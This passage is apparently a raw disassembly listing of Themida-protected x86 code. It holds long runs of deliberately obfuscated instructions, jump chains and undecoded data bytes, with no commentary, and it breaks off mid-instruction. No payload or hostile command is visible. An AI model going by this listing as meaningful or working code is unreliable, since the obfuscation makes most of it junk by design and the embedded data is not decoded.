; --------------------------------------------------------------------------- loc_54EB0D: ; CODE XREF: Themida_:0054BD96j push esi mov esi, esp add esi, 4 jmp loc_54E5D2 ; --------------------------------------------------------------------------- loc_54EB1B: ; CODE XREF: Themida_:00555E46j mov [esp], ecx mov ecx, 4 add eax, ecx pop ecx add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 4AB200ECh sub ecx, esi mov esi, [esp] add esp, 4 push eax mov eax, 7F2607CAh shr eax, 8 jmp loc_549F9A ; --------------------------------------------------------------------------- dd 4A30F66h, 0CAE99C24h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB5F: ; CODE XREF: Themida_:0054FC9Bj add esp, 4 push edi mov edi, esp jmp loc_548B1E ; --------------------------------------------------------------------------- loc_54EB6D: ; CODE XREF: Themida_:00555C38j mov edx, 0A07439Ah inc edx jmp loc_54DAA5 ; --------------------------------------------------------------------------- dd 2164BE56h, 74293248h, 34FF0424h, 2434FF24h, 8B2434FFh dd 0C4812434h, 4, 8304C483h, 0C48104C4h, 4, 8324048Bh dd 640504C4h, 0E9324821h, 0FFFF9D79h ; --------------------------------------------------------------------------- loc_54EBB0: ; CODE XREF: Themida_:00552EFBj push ebx mov ebx, esp jmp loc_5543BE ; --------------------------------------------------------------------------- dd 4C4835Dh, 0FF9D68E9h, 0C8B66FFh, 4EC8124h, 89000000h dd 0E189240Ch, 4EC8350h, 0BA241489h, 4, 15AD089h, 0BE5658C1h dd 2, 34FFF101h, 0C4815E24h, 4, 2474FF51h, 2434FF04h, 0D396E959h dd 0EF81FFFFh, 14F503E6h, 4079E9h, 0FDB95100h, 81064A71h dd 102DDAE9h, 0B8E9814Dh, 315107FDh, 0F00159CEh, 0BFBF575Eh dd 0E90EB22Bh, 3E1Ah ; --------------------------------------------------------------------------- loc_54EC30: ; CODE XREF: Themida_:0054D228j add ebx, 479701DCh jmp loc_54F220 ; --------------------------------------------------------------------------- db 29h dd 0E9815BD9h, 0A5142A9Bh, 98E9CB01h, 8BFFFFD8h, 0A4E9242Ch db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC53: ; CODE XREF: Themida_:00549DB1j neg esi xor esi, 0F3D70F39h mov edx, esi pop esi dec edx xor edx, 4C002EB0h not edx jmp loc_54B2EC ; --------------------------------------------------------------------------- dd 24048B66h, 504168h, 241C8900h, 0E957E389h, 26A1h ; --------------------------------------------------------------------------- loc_54EC80: ; CODE XREF: Themida_:00555C5Ej add edx, eax push ebx mov ebx, 1175FCBh sub ebx, 7C931518h xor ebx, 5F0D16B6h push edx mov edx, 9C5DABDBh add ebx, edx pop edx sub edx, ebx mov ebx, [esp] push esi jmp loc_54F9DD ; --------------------------------------------------------------------------- dd 535BFD30h, 0EBC057B3h, 0D7EB8003h, 3F8BE9h db 0 ; --------------------------------------------------------------------------- loc_54ECB9: ; CODE XREF: Themida_:0054D263j pop esi xor esi, ebx jmp loc_549CC3 ; --------------------------------------------------------------------------- loc_54ECC1: ; CODE XREF: Themida_:005549ABj mov ebp, 69FC10D8h sub ebp, 305C67AAh jmp loc_54FAB8 ; --------------------------------------------------------------------------- db 51h, 50h, 0B8h dd 2B4504F5h, 0B49BB951h, 0C829E6A9h, 58C18959h, 41BE181h dd 0C18143E4h, 27436097h, 60ADE981h, 0CF8967C3h, 5FFA0159h dd 183268h, 16D1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ED06: ; CODE XREF: Themida_:0054A20Bj add esi, edx pop edx xchg esi, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_54E85E ; --------------------------------------------------------------------------- loc_54ED17: ; CODE XREF: Themida_:00550D37j mov esi, 439FAC24h jmp loc_55059C ; --------------------------------------------------------------------------- db 83h, 0C7h, 2 dd 4EC81h, 3C890000h, 2474FF24h, 48F5F04h, 24248B24h, 24048B66h dd 55E08950h, 0C9679FBDh, 147CE96Ah, 0EC810000h, 4, 66241C89h dd 661EDCBBh, 21A0CB81h, 2EC81h, 89660000h, 9E92434h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ED6B: ; CODE XREF: Themida_:005530FAj inc ebx add ebx, 55235375h sub ebx, 714ED077h jmp loc_54D904 ; --------------------------------------------------------------------------- db 81h, 0C6h, 7Ch dd 29FDAA73h, 2434FFF1h, 0E389535Eh, 4C381h, 0C3830000h dd 241C8704h, 27842D5Ch, 0C8011955h, 55278405h, 240C8B19h dd 709EE9h, 48B6600h, 0C5ACE924h, 0E681FFFFh, 5A38111Fh dd 115EE681h, 0E68141C0h, 5F213032h, 0CE9BE952h, 5751FFFFh dd 6C35BEBFh, 5BB5318h, 814CED51h, 0D5747EC3h, 82E9577Ch db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EDE7: ; CODE XREF: Themida_:0054F91Dj sub esi, edx jmp loc_549539 ; --------------------------------------------------------------------------- loc_54EDEE: ; CODE XREF: Themida_:0054F9D8j mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], edx push esi push 7A6711A3h jmp loc_54E071 ; --------------------------------------------------------------------------- loc_54EE0A: ; CODE XREF: Themida_:0054F880j mov si, ax mov eax, [esp] add esp, 4 and si, 33B7h or si, 2975h jnz loc_54BF81 or si, 5FB7h ja loc_54AB47 mov dh, 9Ch push eax loc_54EE32: ; CODE XREF: Themida_:0054F580j pop ecx add esp, 4 push eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi push esi jmp loc_548B32 ; --------------------------------------------------------------------------- loc_54EE4B: ; CODE XREF: Themida_:0054A3EDj mov [esp], ebx jmp loc_552A54 ; --------------------------------------------------------------------------- loc_54EE53: ; CODE XREF: Themida_:0055418Aj push esp pop edx add edx, 4 push esi mov esi, 2 jmp loc_552952 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFFE12Eh ; --------------------------------------------------------------------------- loc_54EE6C: ; CODE XREF: Themida_:00549D71j ; Themida_:0054E229j xchg edi, [esp] jmp loc_553B02 ; --------------------------------------------------------------------------- loc_54EE74: ; CODE XREF: Themida_:0054D96Cj mov [esp], edx mov edx, 80h and ecx, edx mov edx, [esp] push edx sub esp, 4 push esp pop dword ptr [esp] jmp loc_548953 ; --------------------------------------------------------------------------- loc_54EE8E: ; CODE XREF: Themida_:0054B2C6j add ebp, 4 xchg ebp, [esp] mov esp, [esp] add ebx, 2EB1586Eh sub ebx, eax sub ebx, 2EB1586Eh sub ebx, 7D4A0E9Eh jmp loc_549514 ; --------------------------------------------------------------------------- db 8Bh dd 48682404h, 0E9000032h, 0FFFFDA96h ; --------------------------------------------------------------------------- loc_54EEC0: ; CODE XREF: Themida_:00553C3Dj ; Themida_:00555A89j mov edi, esp add edi, 4 jmp loc_54A7C0 ; --------------------------------------------------------------------------- db 59h, 33h, 4 dd 24043124h, 8B240433h, 0B60F2424h, 0E28952C8h, 5FBE5657h dd 4612A557h, 6EEC146h, 1A5CE81h, 0DEF73C10h, 69FFEE81h dd 0F789C3A5h, 0E9FA015Eh, 0FFFFEE6Ah ; --------------------------------------------------------------------------- loc_54EF04: ; CODE XREF: Themida_:00549221j add ebp, esi pop esi jmp loc_551E87 ; --------------------------------------------------------------------------- dd 4C681h, 0C6810000h, 4, 1F80E9h db 0 ; --------------------------------------------------------------------------- loc_54EF1D: ; CODE XREF: Themida_:0055514Fj mov edi, [esp] add esp, 4 add edi, 4 jmp loc_5507AF ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 50000000h, 582404FFh, 0E906E0C1h, 0FFFFB6A7h ; --------------------------------------------------------------------------- loc_54EF44: ; CODE XREF: Themida_:00555432j push 469Eh mov [esp], edx mov edx, ebp sub esp, 4 jmp loc_54B633 ; --------------------------------------------------------------------------- loc_54EF56: ; CODE XREF: Themida_:00549534j mov eax, 0A8DB267Ch sub ecx, eax pop eax add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] jmp loc_55341D ; --------------------------------------------------------------------------- db 83h dd 892C04C4h, 0FFD7A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EF79: ; CODE XREF: Themida_:0054B3EBj pop esp mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 push ebx jmp loc_54DE0A ; --------------------------------------------------------------------------- loc_54EF92: ; CODE XREF: Themida_:0055353Fj xor ecx, 20E75E67h inc ecx xor ecx, 0C0E0EC0Bh sub ebx, 1BE44D6h jmp loc_548D5E ; --------------------------------------------------------------------------- loc_54EFAA: ; CODE XREF: Themida_:0054DC19j xor ebx, 27CD5618h jmp loc_549020 ; --------------------------------------------------------------------------- loc_54EFB5: ; CODE XREF: Themida_:0054C8F0j add esi, edx pop edx sub esi, edi sub esi, 3C9504E2h mov edi, [esp] add esp, 4 and eax, esi pop esi or eax, eax jnz loc_54DCF3 push 1 push dword ptr [esp] push dword ptr [esp] jmp loc_551C6D ; --------------------------------------------------------------------------- loc_54EFE4: ; CODE XREF: Themida_:0055475Cj shr edx, 1 cmp eax, edx jz loc_5550E7 push 25CEh mov [esp], eax push 4858h mov [esp], ecx push esi mov esi, 573D14A7h mov ecx, esi pop esi mov eax, 0A8C2EB59h add eax, ecx pop ecx push eax push 7D07h mov [esp], ebp mov ebp, 3C780259h xor [esp+4], ebp pop ebp pop dword ptr [edi+20h] xor dword ptr [edi+20h], 3C780259h push dword ptr [esp] pop eax push ecx push esp pop ecx add ecx, 4 jmp loc_5550E0 ; --------------------------------------------------------------------------- dw 8B66h dd 1AE9240Ch, 81FFFFF5h, 0FF042444h, 12DE467h, 8104244Ch dd 0FF04246Ch, 812DE467h, 89042444h, 0E906814Bh, 0FFFFF0CEh dd 2779BB53h, 0F1BF2344h, 315D181Ah, 0CF295BDFh, 5FF90159h dd 8B240C87h, 4302424h, 9EE99C24h, 81FFFF98h, 4ECh, 24348900h dd 0FFFD35E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F099: ; CODE XREF: Themida_:005521E4j neg ebp jg loc_54FC31 xor ebp, 641101Fh jg loc_552164 add ebp, 6D646BC4h jbe loc_5551F2 push eax push edi push 42066F08h mov edi, [esp] add esp, 4 dec edi shl edi, 3 add edi, 0EC11D375h push edi jmp loc_552D6F ; --------------------------------------------------------------------------- dw 3AB8h dd 90F9546h, 14A4E9C5h, 2F050000h, 0C103E238h, 400506E8h dd 174EF02h, 0BF51E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F0F6: ; CODE XREF: Themida_:00552D3Cj pop ebx add bl, ah push dword ptr [esp] pop eax push edi mov edi, esp jmp loc_552BE9 ; --------------------------------------------------------------------------- loc_54F105: ; CODE XREF: Themida_:0054E9BBj mov ebx, 2CC93BDBh add ecx, 59C5246h add ecx, ebx sub ecx, 59C5246h pop ebx push edx push esi mov esi, 1 mov edx, esi push dword ptr [esp] pop esi add esp, 4 and ecx, edx push dword ptr [esp] mov edx, [esp] push ebx jmp loc_5490FF ; --------------------------------------------------------------------------- loc_54F137: ; CODE XREF: Themida_:0054D669j add eax, ecx pop ecx push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] jmp loc_54CEB9 ; --------------------------------------------------------------------------- loc_54F14B: ; CODE XREF: Themida_:005496B7j mov ebp, [esp] add esp, 4 add ebp, 3D163EA7h jl loc_55208B sub ebp, 0BD165EB6h push ebp mov edx, [esp] add esp, 4 pop ebx loc_54F16B: ; CODE XREF: Themida_:0054F6AAj sub bl, 0B8h sub bl, 0B0h add bl, cl jmp loc_54924D ; --------------------------------------------------------------------------- dd 8ADBBE56h, 0F2895727h, 0FFFCE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F185: ; CODE XREF: Themida_:00553879j push 1852h mov [esp], esi push edi mov edi, 5DEF4112h dec edi xor edi, 7CA37C21h push edi jmp loc_552E39 ; --------------------------------------------------------------------------- dd 0E9BFED80h, 0FFFFAA0Dh ; --------------------------------------------------------------------------- loc_54F1A8: ; CODE XREF: Themida_:005507F9j add esp, 4 and eax, esi mov esi, [esp] add esp, 4 shr eax, 0Ch xor eax, ecx push 5A19h mov [esp], eax not dword ptr [esp] push dword ptr [esp] jmp loc_54978E ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 33240C31h, 248B240Ch, 0BE0F6624h, 5819E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F1E6: ; CODE XREF: Themida_:00555F62j jmp loc_548929 ; --------------------------------------------------------------------------- db 5Dh dd 42Dh, 24043300h, 33240431h, 0E95C2404h, 0FFFFE5D2h ; --------------------------------------------------------------------------- loc_54F200: ; CODE XREF: Themida_:0054CCB5j mov dl, al pop eax pop ecx add bl, 0A3h add bl, dl sub bl, 0A3h pop dx sub bl, ah jmp loc_55532E ; --------------------------------------------------------------------------- loc_54F215: ; CODE XREF: Themida_:loc_54D413j add edx, 0F1B5CE1h jmp loc_550624 ; --------------------------------------------------------------------------- loc_54F220: ; CODE XREF: Themida_:0054EC36j add ebx, 3BBB60DBh mov ebp, ebx pop ebx jmp loc_550B06 ; --------------------------------------------------------------------------- dw 0DD89h dd 0F7E5D15Bh, 0C94E9DDh, 0B9510000h, 3DDA4FE5h, 4244481h dd 182C6BF1h, 4244C01h, 54A6E9h db 0 ; --------------------------------------------------------------------------- loc_54F251: ; CODE XREF: Themida_:0054B78Fj ; Themida_:0054D6D4j pop ebx add ebx, 7BD48004h sub eax, ebx push dword ptr [esp] pop ebx add esp, 4 movzx ax, byte ptr [eax] push edx jmp loc_551472 ; --------------------------------------------------------------------------- loc_54F26E: ; CODE XREF: Themida_:0054F556j mov edi, esp add edi, 4 jmp loc_54E78F ; --------------------------------------------------------------------------- loc_54F27B: ; CODE XREF: Themida_:0054AD09j mov ecx, [ebx] pop ebx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_552349 ; --------------------------------------------------------------------------- loc_54F28F: ; CODE XREF: Themida_:00554AA9j add ecx, 0EC3F36h jmp loc_553714 ; --------------------------------------------------------------------------- loc_54F29A: ; CODE XREF: Themida_:00548B62j mov ebp, [esp] push eax mov eax, esp push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_54FA5F ; --------------------------------------------------------------------------- dw 0D1F7h dd 0FFCC2AE9h, 4EC83FFh, 24048F54h, 4240483h, 0E92434FFh dd 6B96h, 62E9E189h, 2DFFFFCEh, 0F5A8C4B9h, 0FFC7DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F2D9: ; CODE XREF: Themida_:00553A24j push eax push 184h mov [esp], ebp push 4B134FB6h jmp loc_554DB8 ; --------------------------------------------------------------------------- loc_54F2EC: ; CODE XREF: Themida_:00551FEDj pop edx push edi jmp loc_550F10 ; --------------------------------------------------------------------------- db 83h dd 148702C2h, 24248B24h, 9C2404FEh, 0FFABCAE9h, 7B32DFFh dd 0F8012DCBh, 0CB07B305h, 2055F2Dh, 33000000h, 2EE92404h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F31F: ; CODE XREF: Themida_:00555995j xchg ebx, [esp] pop esp test cl, al pushf jmp loc_548929 ; --------------------------------------------------------------------------- db 89h dd 14F7240Ch, 240C8B24h, 8104C483h, 71649AC9h, 4EBE5656h dd 314B3842h, 6B4CE9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F34A: ; CODE XREF: Themida_:00555604j add edx, 1 and edx, 59832A61h jle loc_54C13C jmp loc_54F4EC ; --------------------------------------------------------------------------- loc_54F361: ; CODE XREF: Themida_:00554A65j mov esi, [esp] add esp, 4 or eax, eax jz loc_54DCF3 push dword ptr [edi+28h] sub esp, 4 jmp loc_54B241 ; --------------------------------------------------------------------------- loc_54F37D: ; CODE XREF: Themida_:005491E0j ; Themida_:0055008Cj mov dl, 43h mov ch, dl pop dx sub bl, ch mov ecx, [esp] add esp, 4 push eax mov al, 0 jmp loc_555F55 ; --------------------------------------------------------------------------- db 31h dd 3C33243Ch, 24248B24h, 24048B66h, 81E28952h, 4C2h, 63DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F3AE: ; CODE XREF: Themida_:00552D9Bj add esi, edi mov edi, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_54D4D0 ; --------------------------------------------------------------------------- loc_54F3C7: ; CODE XREF: Themida_:0054CAB5j mov [esp], ax jmp loc_548929 ; --------------------------------------------------------------------------- loc_54F3D0: ; CODE XREF: Themida_:0054FDADj mov ebp, edi push dword ptr [esp] pop edi add esp, 4 inc ebp inc ebp jmp loc_54DE79 ; --------------------------------------------------------------------------- db 0BEh dd 108211F4h, 25E9h db 0 ; --------------------------------------------------------------------------- loc_54F3ED: ; CODE XREF: Themida_:0054DC25j ; Themida_:00554015j add ecx, 0EC3F36h jmp loc_54B3B4 ; --------------------------------------------------------------------------- loc_54F3F8: ; CODE XREF: Themida_:0054963Aj xor eax, 70274AFFh jmp loc_54B8C4 ; --------------------------------------------------------------------------- loc_54F402: ; CODE XREF: Themida_:005539A6j push eax mov eax, 46582774h xor eax, 3042663Bh jmp loc_54C333 ; --------------------------------------------------------------------------- dw 0E94Eh dd 0FFFF9796h ; --------------------------------------------------------------------------- loc_54F418: ; CODE XREF: Themida_:0054BAFCj add edi, 5C6271B9h sub edi, ebx sub edi, 5C6271B9h pop ebx pop esi push ebp push esi mov esi, 2 mov ebp, esi pop esi sub edi, ebp mov ebp, [esp] jmp loc_548A12 ; --------------------------------------------------------------------------- dd 4BD555Ah, 1000000h, 0E9565DEAh, 0FFFFCDD9h ; --------------------------------------------------------------------------- loc_54F44C: ; CODE XREF: Themida_:0054F925j mov ebx, 4 jmp loc_550618 ; --------------------------------------------------------------------------- loc_54F456: ; CODE XREF: Themida_:loc_553F87j add ebx, 5E06F3BEh push ebx add dword ptr [esp], 288E09DAh pop ebp jmp loc_554524 ; --------------------------------------------------------------------------- aI4Z6bSc db '┴4$╬',27h,'Z 6│фХc',0 db 5Eh dd 2479830Fh, 0CE810000h, 538C4A9Ah, 1949E9h, 57535D00h dd 226BE9h, 8351AD00h, 2C8904ECh, 0AE43E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F49E: ; CODE XREF: Themida_:00549FDEj push ebx mov ebx, 0D4794314h add edx, ebx pop ebx jmp loc_550FE8 ; --------------------------------------------------------------------------- dd 0E95EF329h, 0FFFFD53Bh, 4CC56856h, 14890000h, 94BE924h dd 0E6890000h, 24E2E9h db 0 ; --------------------------------------------------------------------------- loc_54F4C9: ; CODE XREF: Themida_:0054FA3Fj add esp, 4 jmp loc_550689 ; --------------------------------------------------------------------------- loc_54F4D4: ; CODE XREF: Themida_:0055322Ej jz loc_55495C inc ebx jnp loc_5495F2 jmp loc_5509F5 ; --------------------------------------------------------------------------- dw 8B66h dd 5650240Ch ; --------------------------------------------------------------------------- loc_54F4EC: ; CODE XREF: Themida_:0054BAB2j ; Themida_:0054F35Cj or ecx, 6D966BBCh sub esp, 4 mov [esp], ebp mov ebp, 16142165h and ecx, ebp pop ebp shl ecx, 2 js loc_549DD8 xor ecx, 185085B4h mov edx, ecx mov ecx, [esp] add esp, 4 add edx, edi push dword ptr [edx] jmp loc_552988 ; --------------------------------------------------------------------------- dd 5EF5015Ah, 0FFE26FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F529: ; CODE XREF: Themida_:0055476Fj pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx jmp loc_549489 ; --------------------------------------------------------------------------- loc_54F541: ; CODE XREF: Themida_:00554CEBj push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_54C99E ; --------------------------------------------------------------------------- loc_54F555: ; CODE XREF: Themida_:005517CBj push edi jmp loc_54F26E ; --------------------------------------------------------------------------- loc_54F55B: ; CODE XREF: Themida_:00555D44j xor [esp], edi xor edi, [esp] mov esp, [esp] pop ebp xor eax, ecx xor ecx, eax xor eax, ecx push 6EFBh mov [esp], ecx mov ecx, 1 and eax, ecx push dword ptr [esp] push dword ptr [esp] jmp loc_54EE32 ; --------------------------------------------------------------------------- loc_54F585: ; CODE XREF: Themida_:0054E6ACj mov dh, bh jmp loc_54A25A ; --------------------------------------------------------------------------- dd 82E9DEF7h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F593: ; CODE XREF: Themida_:005542BDj mov edi, 45784305h dec edi not edi jmp loc_55123F ; --------------------------------------------------------------------------- loc_54F5A0: ; CODE XREF: Themida_:00554418j pop edx jmp loc_54FC7A ; --------------------------------------------------------------------------- loc_54F5A6: ; CODE XREF: Themida_:0055319Aj pop edi add esp, 4 jmp loc_552995 ; --------------------------------------------------------------------------- dw 3C89h dd 4802BF24h, 0D7F7399Bh, 43A1E9h db 0 ; --------------------------------------------------------------------------- loc_54F5C1: ; CODE XREF: Themida_:00552C3Fj sub esp, 4 mov [esp], edx mov edx, esp push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_54C85E ; --------------------------------------------------------------------------- dd 74FF505Bh, 8F580424h, 248B2404h, 2C966824h, 14890000h dd 42685524h, 0E900005Eh, 1CB0h ; --------------------------------------------------------------------------- loc_54F5FC: ; CODE XREF: Themida_:00549E20j push dword ptr [esp] push dword ptr [esp] jmp loc_54B5E6 ; --------------------------------------------------------------------------- loc_54F607: ; CODE XREF: Themida_:0054AB1Ej mov edi, 30h mov ebx, edi push dword ptr [esp] jmp loc_555907 ; --------------------------------------------------------------------------- loc_54F616: ; CODE XREF: Themida_:00554572j mov esi, 0 sub esi, ebx jmp loc_54A732 ; --------------------------------------------------------------------------- loc_54F622: ; CODE XREF: Themida_:0054CA1Cj mov esi, ebx pop ebx dec esi jmp loc_54CFE9 ; --------------------------------------------------------------------------- loc_54F62B: ; CODE XREF: Themida_:0054C96Bj xor ebx, 577C0F0Eh add edi, ebx pop ebx add esi, edi pop edi push edx push edi jmp loc_554D27 ; --------------------------------------------------------------------------- dw 8F5Ah dd 895C2404h, 0E589242Ch, 4C581h, 0C5830000h, 242C8704h dd 2404FF5Ch, 92CBE99Ch, 0DAF7FFFFh, 8107E2C1h, 359D58F2h dd 8BD001F8h, 0C4832414h, 0A989E904h, 8B66FFFFh, 0D1682404h dd 8900005Ch, 92682414h, 5400007Ah, 8324048Fh, 8B042404h dd 0EC812414h, 4, 0E9240C89h, 4804h ; --------------------------------------------------------------------------- loc_54F6A0: ; CODE XREF: Themida_:00554EAFj add edx, 4 xchg edx, [esp] pop esp jmp loc_54F16B ; --------------------------------------------------------------------------- db 89h dd 405E0h, 0C0830000h, 24048704h, 0E9E8015Ch, 0FFFFAF13h ; --------------------------------------------------------------------------- loc_54F6C4: ; CODE XREF: Themida_:00549CCAj push edx mov edx, 6BAD2C57h shr edx, 1 neg edx jmp loc_54A18A ; --------------------------------------------------------------------------- db 51h dd 0FFBE32E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F6D9: ; CODE XREF: Themida_:0055562Ej mov edi, [esp] jmp loc_54BC99 ; --------------------------------------------------------------------------- loc_54F6E1: ; CODE XREF: Themida_:005548E0j neg edx and edx, 3C845356h xor edx, 480CB34h xor ecx, edx mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp and eax, ecx push dword ptr [esp] jmp loc_552BA1 ; --------------------------------------------------------------------------- dw 0E689h dd 0E904EC83h, 3DB4h, 4EB81h, 0CFE90000h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F723: ; CODE XREF: Themida_:0054C569j add [esp+4], edx mov edx, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 push 653Fh mov [esp], ebx jmp loc_55183E ; --------------------------------------------------------------------------- db 0E9h, 0E3h, 91h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F746: ; CODE XREF: Themida_:0054B1A4j add ch, 0F3h sub bl, 9Eh jmp loc_5511E0 ; --------------------------------------------------------------------------- loc_54F751: ; CODE XREF: Themida_:0054E860j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_5541DB ; --------------------------------------------------------------------------- loc_54F765: ; CODE XREF: Themida_:00555418j sub esp, 4 mov [esp], esi jmp loc_5516F2 ; --------------------------------------------------------------------------- loc_54F770: ; CODE XREF: Themida_:00550F8Cj pop dword ptr [esp] mov esp, [esp] mov dx, [esp] push 0EDDh mov [esp], ebx mov ebx, esp push ebp mov ebp, 399E497Fh jmp loc_54AF11 ; --------------------------------------------------------------------------- loc_54F78F: ; CODE XREF: Themida_:0054E772j add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5550E7 ; --------------------------------------------------------------------------- dd 137BE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F7A6: ; CODE XREF: Themida_:005511F2j mov ch, 1Ah add al, 9Bh sub al, ch jmp loc_54C46B ; --------------------------------------------------------------------------- loc_54F7B1: ; CODE XREF: Themida_:0054892Aj xor al, bl jmp loc_551672 ; --------------------------------------------------------------------------- loc_54F7B8: ; CODE XREF: Themida_:0054CED1j push ecx mov esi, [esp] add esp, 4 pop ecx or [edi+1Ch], esi mov esi, [esp] add esp, 4 jmp loc_548929 ; --------------------------------------------------------------------------- loc_54F7CE: ; CODE XREF: Themida_:00548AC8j dec esi push ebp mov ebp, 48833EE9h jmp loc_552B75 ; --------------------------------------------------------------------------- loc_54F7DA: ; CODE XREF: Themida_:0054EA2Ej sub ecx, edi jmp loc_54B3F0 ; --------------------------------------------------------------------------- loc_54F7E1: ; CODE XREF: Themida_:00548CE3j jnz loc_549BE1 shl ecx, 8 jp loc_5529D4 push ebp pop esi jmp loc_552A37 ; --------------------------------------------------------------------------- loc_54F7F7: ; CODE XREF: Themida_:00549500j shr eax, 6 jmp loc_5539A5 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 5030E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F80A: ; CODE XREF: Themida_:0054F907j jmp loc_554842 ; --------------------------------------------------------------------------- loc_54F80F: ; CODE XREF: Themida_:0054E88Aj pop esp jmp loc_554006 ; --------------------------------------------------------------------------- db 29h, 0C8h, 59h dd 52240C8Bh, 0C281E289h, 4, 0FF9F6EE9h, 71CC68FFh, 0E90000h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F833: ; CODE XREF: Themida_:00551397j pop eax jmp loc_54E6E0 ; --------------------------------------------------------------------------- loc_54F839: ; CODE XREF: Themida_:00552231j sub ebp, 4 xchg ebp, [esp] jmp loc_55525A ; --------------------------------------------------------------------------- dd 0E90FE980h, 45AAh ; --------------------------------------------------------------------------- loc_54F84C: ; CODE XREF: Themida_:00555329j push ecx mov cl, 83h sub esp, 4 jmp loc_552F7F ; --------------------------------------------------------------------------- loc_54F85A: ; CODE XREF: Themida_:00554901j pop ebp or bx, cx pop cx dec bx xor bx, 11B0h xor ax, bx pop ebx push edi push 7EF5h mov [esp], esi push eax mov ax, 4565h not ax add ax, 0A3FEh jmp loc_54EE0A ; --------------------------------------------------------------------------- db 52h, 0BAh, 0 dd 8149BF08h, 0DC3DD2C2h, 0FEF28109h, 893E8F74h, 0F7E95AD1h dd 43FFFFBDh, 2C77E381h, 830F03D5h, 0FFFFF059h, 0FF94BEE9h dd 8BC101FFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx loc_54F8BA: ; CODE XREF: Themida_:00552512j mov eax, [esp] jmp loc_54CEF7 ; --------------------------------------------------------------------------- loc_54F8C2: ; CODE XREF: Themida_:0054F90Dj sub ch, 0E3h mov al, ch pop ecx sub bl, 84h sub bl, al jmp loc_551415 ; --------------------------------------------------------------------------- loc_54F8D2: ; CODE XREF: Themida_:00554BE8j push ecx push edx push bx push edx mov dl, 71h shl dl, 6 jmp loc_5553B1 ; --------------------------------------------------------------------------- loc_54F8E1: ; CODE XREF: Themida_:0054EAF0j xor edx, 0D5A79AAAh sub edi, edx jmp loc_54A2B0 ; --------------------------------------------------------------------------- dw 6850h dd 620140F1h, 0CB45E958h, 0FA88FFFFh, 0E9DAF65Bh, 236h ; --------------------------------------------------------------------------- loc_54F904: ; CODE XREF: Themida_:0054AAA3j shl ebp, 4 jp loc_54F80A jmp loc_54F8C2 ; --------------------------------------------------------------------------- aS9 db '\И$9',0 align 4 dd 5259C829h ; --------------------------------------------------------------------------- loc_54F91C: ; CODE XREF: Themida_:00554E27j pop edi jmp loc_54EDE7 ; --------------------------------------------------------------------------- loc_54F922: ; CODE XREF: Themida_:0054D0D8j pop esi push eax push ebx jmp loc_54F44C ; --------------------------------------------------------------------------- loc_54F92A: ; CODE XREF: Themida_:0054AB83j add ecx, 0FA6E6B19h mov esi, ecx pop ecx add edx, esi jmp loc_551AF8 ; --------------------------------------------------------------------------- loc_54F93A: ; CODE XREF: Themida_:00549464j jnz loc_5547FC sub ah, 57h mov bl, ah pop eax and al, bl mov bx, [esp] loc_54F94C: ; CODE XREF: Themida_:0054BE44j mov edi, [esp] jmp loc_54BD55 ; --------------------------------------------------------------------------- dd 4B8h, 8BC28900h, 0C4832404h, 24540104h, 4C2CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F96A: ; CODE XREF: Themida_:0055045Dj xor esi, ebx pop ebx xor eax, esi mov esi, [esp] add esp, 4 push esi mov esi, 499E2342h sub esi, 79B15457h jo loc_549181 neg esi jns loc_55254B jmp loc_54BF3B ; --------------------------------------------------------------------------- dd 42474FFh db 0FFh, 34h, 24h ; --------------------------------------------------------------------------- loc_54F99B: ; CODE XREF: Themida_:0054D839j push edx mov dh, 0FCh add dh, 0C0h mov bh, dh mov edx, [esp] add esp, 4 xor al, bh jmp loc_554E4D ; --------------------------------------------------------------------------- loc_54F9B3: ; CODE XREF: Themida_:00550121j ; Themida_:005555CAj add 